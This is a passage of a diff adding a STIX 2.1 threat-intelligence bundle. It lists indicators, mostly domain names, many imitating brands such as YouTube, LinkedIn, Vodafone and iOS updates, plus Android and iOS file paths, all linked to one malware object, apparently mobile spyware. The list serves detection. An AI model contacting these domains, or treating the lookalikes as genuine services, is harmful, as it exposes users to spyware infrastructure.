"indicator--e659b3fa-32b2-4e79-869d-4b68ed1226a1", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--68ad8085-2f43-4f99-88a0-bb293a3c6164", + "created": "2023-07-28T12:14:36.293371Z", + "modified": "2023-07-28T12:14:36.293371Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='api-telecommunication.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.293371Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a80117f7-5ff8-416b-b97c-a15ca1d1a6be", + "created": "2023-07-28T12:14:36.293603Z", + "modified": "2023-07-28T12:14:36.293603Z", + "relationship_type": "indicates", + "source_ref": "indicator--68ad8085-2f43-4f99-88a0-bb293a3c6164", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a6f4174b-7882-4ffd-87d8-7a48f35a2618", + "created": "2023-07-28T12:14:36.293678Z", + "modified": "2023-07-28T12:14:36.293678Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtube.gr.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.293678Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da068b1e-836c-4d30-ad20-420d74caff45", + "created": "2023-07-28T12:14:36.293903Z", + "modified": "2023-07-28T12:14:36.293903Z", + "relationship_type": "indicates", + "source_ref": "indicator--a6f4174b-7882-4ffd-87d8-7a48f35a2618", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b77659b-5e84-4346-b596-23de5b505628", + "created": "2023-07-28T12:14:36.293975Z", + "modified": "2023-07-28T12:14:36.293975Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='landingpg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.293975Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--06498df6-8d7c-409c-9bfe-d7c34cf45093", + "created": "2023-07-28T12:14:36.294265Z", + "modified": "2023-07-28T12:14:36.294265Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b77659b-5e84-4346-b596-23de5b505628", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3252f6cb-aa16-42f3-b430-b70db721b59b", + "created": "2023-07-28T12:14:36.294339Z", + "modified": "2023-07-28T12:14:36.294339Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bmw.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.294339Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--29eab1d9-3ee7-4611-a4fa-3f2fed314d32", + "created": "2023-07-28T12:14:36.294564Z", + "modified": "2023-07-28T12:14:36.294564Z", + "relationship_type": "indicates", + "source_ref": "indicator--3252f6cb-aa16-42f3-b430-b70db721b59b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a0b6dea-5735-4d3a-88c8-abdcc931d0e5", + "created": "2023-07-28T12:14:36.294636Z", + "modified": "2023-07-28T12:14:36.294636Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pdfviewer.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.294636Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41be0a60-f0d0-4f19-a248-d5a13e691c16", + "created": "2023-07-28T12:14:36.29487Z", + "modified": "2023-07-28T12:14:36.29487Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a0b6dea-5735-4d3a-88c8-abdcc931d0e5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--334541c1-edd8-49a9-8737-4e32391bf50a", + "created": "2023-07-28T12:14:36.294945Z", + "modified": "2023-07-28T12:14:36.294945Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='llinkedin.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.294945Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5fdda9e5-e086-4b45-a2f9-e8c8db2aa330", + "created": "2023-07-28T12:14:36.295174Z", + "modified": "2023-07-28T12:14:36.295174Z", + "relationship_type": "indicates", + "source_ref": "indicator--334541c1-edd8-49a9-8737-4e32391bf50a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--10bed662-34b1-488c-b689-b56d5bac73e4", + "created": "2023-07-28T12:14:36.295246Z", + "modified": "2023-07-28T12:14:36.295246Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ewish.cards']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.295246Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e77fd84f-f6ef-4719-9d90-18398fdd0802", + "created": "2023-07-28T12:14:36.295468Z", + "modified": "2023-07-28T12:14:36.295468Z", + "relationship_type": "indicates", + "source_ref": "indicator--10bed662-34b1-488c-b689-b56d5bac73e4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57de7826-2b77-4b66-9592-205828bdb8f2", + "created": "2023-07-28T12:14:36.29554Z", + "modified": "2023-07-28T12:14:36.29554Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flash.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.29554Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c5c42e0-de5d-46c0-a871-89a983fbea91", + "created": "2023-07-28T12:14:36.295762Z", + "modified": "2023-07-28T12:14:36.295762Z", + "relationship_type": "indicates", + "source_ref": "indicator--57de7826-2b77-4b66-9592-205828bdb8f2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--60daa438-e401-4320-ab94-96e9e34f6fe4", + "created": "2023-07-28T12:14:36.295834Z", + "modified": "2023-07-28T12:14:36.295834Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='inews.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.295834Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0046dc9e-5498-45e7-88dd-a40c6ab2f411", + "created": "2023-07-28T12:14:36.296054Z", + "modified": "2023-07-28T12:14:36.296054Z", + "relationship_type": "indicates", + "source_ref": "indicator--60daa438-e401-4320-ab94-96e9e34f6fe4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c092c43c-9a06-45b5-8d0d-c4bcd458f397", + "created": "2023-07-28T12:14:36.296127Z", + "modified": "2023-07-28T12:14:36.296127Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weathernewz.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.296127Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f6377d1-da9a-40d6-9f54-91256650ac2b", + "created": "2023-07-28T12:14:36.296347Z", + "modified": "2023-07-28T12:14:36.296347Z", + "relationship_type": "indicates", + "source_ref": "indicator--c092c43c-9a06-45b5-8d0d-c4bcd458f397", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e883b2a6-ea14-47ce-ad54-70b76d5aa2c3", + "created": "2023-07-28T12:14:36.296419Z", + "modified": "2023-07-28T12:14:36.296419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fireup.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.296419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4add1fc5-0920-4e53-95e5-980298b76324", + "created": "2023-07-28T12:14:36.296641Z", + "modified": "2023-07-28T12:14:36.296641Z", + "relationship_type": "indicates", + "source_ref": "indicator--e883b2a6-ea14-47ce-ad54-70b76d5aa2c3", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dff1fd08-c0c3-44ec-a315-97248c04cd29", + "created": "2023-07-28T12:14:36.296712Z", + "modified": "2023-07-28T12:14:36.296712Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='speedygonzales.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.296712Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bab1bbbd-701a-4833-a3cc-0cd08e439b78", + "created": "2023-07-28T12:14:36.296936Z", + "modified": "2023-07-28T12:14:36.296936Z", + "relationship_type": "indicates", + "source_ref": "indicator--dff1fd08-c0c3-44ec-a315-97248c04cd29", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c73cd934-e60a-40fe-85bc-6f64d2fafaee", + "created": "2023-07-28T12:14:36.297007Z", + "modified": "2023-07-28T12:14:36.297007Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='omeega.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.297007Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--efb79fd2-9e36-42f2-a415-bb023c9979bd", + "created": "2023-07-28T12:14:36.297298Z", + "modified": "2023-07-28T12:14:36.297298Z", + "relationship_type": "indicates", + "source_ref": "indicator--c73cd934-e60a-40fe-85bc-6f64d2fafaee", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e0ed7a2d-6d30-4eec-8b27-9ccacf673d71", + "created": "2023-07-28T12:14:36.297375Z", + "modified": "2023-07-28T12:14:36.297375Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bi.tly.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.297375Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e7b7f03d-9877-4c91-a5d8-cf961805a7cf", + "created": "2023-07-28T12:14:36.297597Z", + "modified": "2023-07-28T12:14:36.297597Z", + "relationship_type": "indicates", + "source_ref": "indicator--e0ed7a2d-6d30-4eec-8b27-9ccacf673d71", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56744573-1090-4f08-8a38-ceeb77af40f0", + "created": "2023-07-28T12:14:36.297669Z", + "modified": "2023-07-28T12:14:36.297669Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pronews.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.297669Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0c7c57e-e162-4492-8540-126e12b9fdbb", + "created": "2023-07-28T12:14:36.29789Z", + "modified": "2023-07-28T12:14:36.29789Z", + "relationship_type": "indicates", + "source_ref": "indicator--56744573-1090-4f08-8a38-ceeb77af40f0", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3be6f6df-37d5-4340-88a5-3333b331264e", + "created": "2023-07-28T12:14:36.297962Z", + "modified": "2023-07-28T12:14:36.297962Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobnetlink2.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.297962Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e81e493-4b95-42ee-bb15-08ae1c98d024", + "created": "2023-07-28T12:14:36.298184Z", + "modified": "2023-07-28T12:14:36.298184Z", + "relationship_type": "indicates", + "source_ref": "indicator--3be6f6df-37d5-4340-88a5-3333b331264e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8c783721-62b0-4d6a-b036-c73f6fe27f40", + "created": "2023-07-28T12:14:36.298265Z", + "modified": "2023-07-28T12:14:36.298265Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='download4you.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.298265Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--92b73028-b7d0-4f6f-9afb-41f9691df369", + "created": "2023-07-28T12:14:36.298501Z", + "modified": "2023-07-28T12:14:36.298501Z", + "relationship_type": "indicates", + "source_ref": "indicator--8c783721-62b0-4d6a-b036-c73f6fe27f40", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--160cd582-7743-40fa-ba77-5293bca30068", + "created": "2023-07-28T12:14:36.298579Z", + "modified": "2023-07-28T12:14:36.298579Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='link-m.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.298579Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b9898bb-c347-46d1-b58e-64f6c82f29ca", + "created": "2023-07-28T12:14:36.2988Z", + "modified": "2023-07-28T12:14:36.2988Z", + "relationship_type": "indicates", + "source_ref": "indicator--160cd582-7743-40fa-ba77-5293bca30068", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d238017-1cca-4b87-81f6-9335b493bd7a", + "created": "2023-07-28T12:14:36.298871Z", + "modified": "2023-07-28T12:14:36.298871Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prmopromo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.298871Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b62a6470-e8a7-42d8-b0e3-8fd4f543448b", + "created": "2023-07-28T12:14:36.299097Z", + "modified": "2023-07-28T12:14:36.299097Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d238017-1cca-4b87-81f6-9335b493bd7a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7229dcc5-0177-46ae-b8e0-02d5fc02a3e5", + "created": "2023-07-28T12:14:36.299169Z", + "modified": "2023-07-28T12:14:36.299169Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='networkenterprise.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.299169Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da31b08a-6bba-4ab4-96f9-c753160bd945", + "created": "2023-07-28T12:14:36.299395Z", + "modified": "2023-07-28T12:14:36.299395Z", + "relationship_type": "indicates", + "source_ref": "indicator--7229dcc5-0177-46ae-b8e0-02d5fc02a3e5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fbb40a13-08fc-4067-b6b8-1caa247b3bd4", + "created": "2023-07-28T12:14:36.299466Z", + "modified": "2023-07-28T12:14:36.299466Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='livingwithbadkidny.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.299466Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4dc04ec6-f158-4204-bcb9-b226517a8c2d", + "created": "2023-07-28T12:14:36.299691Z", + "modified": "2023-07-28T12:14:36.299691Z", + "relationship_type": "indicates", + "source_ref": "indicator--fbb40a13-08fc-4067-b6b8-1caa247b3bd4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dcb83c0e-e6d7-47e1-b42f-d6dff3e46225", + "created": "2023-07-28T12:14:36.299762Z", + "modified": "2023-07-28T12:14:36.299762Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vodafonegypt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.299762Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1591687-35d3-47c4-aa75-8f5c9246c621", + "created": "2023-07-28T12:14:36.300052Z", + "modified": "2023-07-28T12:14:36.300052Z", + "relationship_type": "indicates", + "source_ref": "indicator--dcb83c0e-e6d7-47e1-b42f-d6dff3e46225", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d54dcb10-e9b8-432d-8653-929af95e91f1", + "created": "2023-07-28T12:14:36.300126Z", + "modified": "2023-07-28T12:14:36.300126Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='niceonase.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.300126Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5fed14cc-5c38-409a-9b80-1f997ad2c56f", + "created": "2023-07-28T12:14:36.300348Z", + "modified": "2023-07-28T12:14:36.300348Z", + "relationship_type": "indicates", + "source_ref": "indicator--d54dcb10-e9b8-432d-8653-929af95e91f1", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--87f1c326-74ee-491e-9af5-674169b69df3", + "created": "2023-07-28T12:14:36.30042Z", + "modified": "2023-07-28T12:14:36.30042Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='otaupdatesios.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.30042Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e615740-19fb-4923-9414-e817b07742d8", + "created": "2023-07-28T12:14:36.300643Z", + "modified": "2023-07-28T12:14:36.300643Z", + "relationship_type": "indicates", + "source_ref": "indicator--87f1c326-74ee-491e-9af5-674169b69df3", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9528f0ba-b18e-4f60-8096-3ae538a1ebce", + "created": "2023-07-28T12:14:36.300714Z", + "modified": "2023-07-28T12:14:36.300714Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloudtimesync.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.300714Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--28a8ebcb-03c3-4582-991b-fc77e200b750", + "created": "2023-07-28T12:14:36.300937Z", + "modified": "2023-07-28T12:14:36.300937Z", + "relationship_type": "indicates", + "source_ref": "indicator--9528f0ba-b18e-4f60-8096-3ae538a1ebce", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b49fbb4-f33d-46ab-bdb3-13e774191a0e", + "created": "2023-07-28T12:14:36.30101Z", + "modified": "2023-07-28T12:14:36.30101Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iibt.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.30101Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05c3a665-b12c-4289-baaf-a73a28cdc8cf", + "created": "2023-07-28T12:14:36.301233Z", + "modified": "2023-07-28T12:14:36.301233Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b49fbb4-f33d-46ab-bdb3-13e774191a0e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ffce8ce-5744-4ede-aad4-6a8dafa21c14", + "created": "2023-07-28T12:14:36.301304Z", + "modified": "2023-07-28T12:14:36.301304Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sniper.pet']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.301304Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83441a26-6504-4b45-91c9-abb4bb9fe72f", + "created": "2023-07-28T12:14:36.301524Z", + "modified": "2023-07-28T12:14:36.301524Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ffce8ce-5744-4ede-aad4-6a8dafa21c14", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc74a547-9433-44f7-98e6-7b8cd6daba4d", + "created": "2023-07-28T12:14:36.301596Z", + "modified": "2023-07-28T12:14:36.301596Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtubesyncapi.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.301596Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--774e7beb-8bcd-4873-915b-b4923e484410", + "created": "2023-07-28T12:14:36.301824Z", + "modified": "2023-07-28T12:14:36.301824Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc74a547-9433-44f7-98e6-7b8cd6daba4d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e55a362-75e7-484f-8df4-b910b5a1b18b", + "created": "2023-07-28T12:14:36.301895Z", + "modified": "2023-07-28T12:14:36.301895Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='webaffise.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.301895Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73a1897e-b713-498b-8689-57d7f0d9084c", + "created": "2023-07-28T12:14:36.302117Z", + "modified": "2023-07-28T12:14:36.302117Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e55a362-75e7-484f-8df4-b910b5a1b18b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1ae6acbd-50d4-4135-b017-10cdf36f416f", + "created": "2023-07-28T12:14:36.302189Z", + "modified": "2023-07-28T12:14:36.302189Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bityl.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.302189Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33a8069c-99c3-4c0d-9414-677f75a818ae", + "created": "2023-07-28T12:14:36.302413Z", + "modified": "2023-07-28T12:14:36.302413Z", + "relationship_type": "indicates", + "source_ref": "indicator--1ae6acbd-50d4-4135-b017-10cdf36f416f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2054600e-365f-46d8-af16-e8add17240b9", + "created": "2023-07-28T12:14:36.302487Z", + "modified": "2023-07-28T12:14:36.302487Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chatwithme.store']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.302487Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f83eff4d-0221-4002-b8dc-d782f21aff18", + "created": "2023-07-28T12:14:36.302708Z", + "modified": "2023-07-28T12:14:36.302708Z", + "relationship_type": "indicates", + "source_ref": "indicator--2054600e-365f-46d8-af16-e8add17240b9", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81e22af2-c4c7-450c-b5ce-78fa40527d6b", + "created": "2023-07-28T12:14:36.302784Z", + "modified": "2023-07-28T12:14:36.302784Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/data/local/tmp/wd/fs.db']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.302784Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7e257853-ff3a-41c3-9ff7-6da57eb5a960", + "created": "2023-07-28T12:14:36.303349Z", + "modified": "2023-07-28T12:14:36.303349Z", + "relationship_type": "indicates", + "source_ref": "indicator--81e22af2-c4c7-450c-b5ce-78fa40527d6b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d93f9227-87d2-4bea-98a6-084c093e40d3", + "created": "2023-07-28T12:14:36.303426Z", + "modified": "2023-07-28T12:14:36.303426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/takePhoto']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.303426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c6963f4-cd8b-4f64-9641-d86ff66f12e2", + "created": "2023-07-28T12:14:36.303691Z", + "modified": "2023-07-28T12:14:36.303691Z", + "relationship_type": "indicates", + "source_ref": "indicator--d93f9227-87d2-4bea-98a6-084c093e40d3", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3a6160f-bc38-4ada-bd79-1d7165c5ae0e", + "created": "2023-07-28T12:14:36.303769Z", + "modified": "2023-07-28T12:14:36.303769Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/com.apple.WebKit.Networking']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.303769Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba39f895-a642-4563-82f8-4d2b230c08bb", + "created": "2023-07-28T12:14:36.304074Z", + "modified": "2023-07-28T12:14:36.304074Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3a6160f-bc38-4ada-bd79-1d7165c5ae0e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cbe618dc-0e1a-42c2-8a3c-53b419a608bd", + "created": "2023-07-28T12:14:36.304148Z", + "modified": "2023-07-28T12:14:36.304148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/hooker']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.304148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ca2efec-6b38-466d-9fb0-c3b8c258223d", + "created": "2023-07-28T12:14:36.304372Z", + "modified": "2023-07-28T12:14:36.304372Z", + "relationship_type": "indicates", + "source_ref": "indicator--cbe618dc-0e1a-42c2-8a3c-53b419a608bd", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d56aff56-813f-4a71-921a-cb7bddd42e68", + "created": "2023-07-28T12:14:36.304445Z", + "modified": "2023-07-28T12:14:36.304445Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/data/local/tmp/wd/']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.304445Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--55aff5a0-725b-4461-9784-14df402817bf", + "created": "2023-07-28T12:14:36.304666Z", + "modified": "2023-07-28T12:14:36.304666Z", + "relationship_type": "indicates", + "source_ref": "indicator--d56aff56-813f-4a71-921a-cb7bddd42e68", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e64157f5-8660-4898-8c4c-b7bce1ce18fe", + "created": "2023-07-28T12:14:36.30474Z", + "modified": "2023-07-28T12:14:36.30474Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/UserEventAgent']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.30474Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": 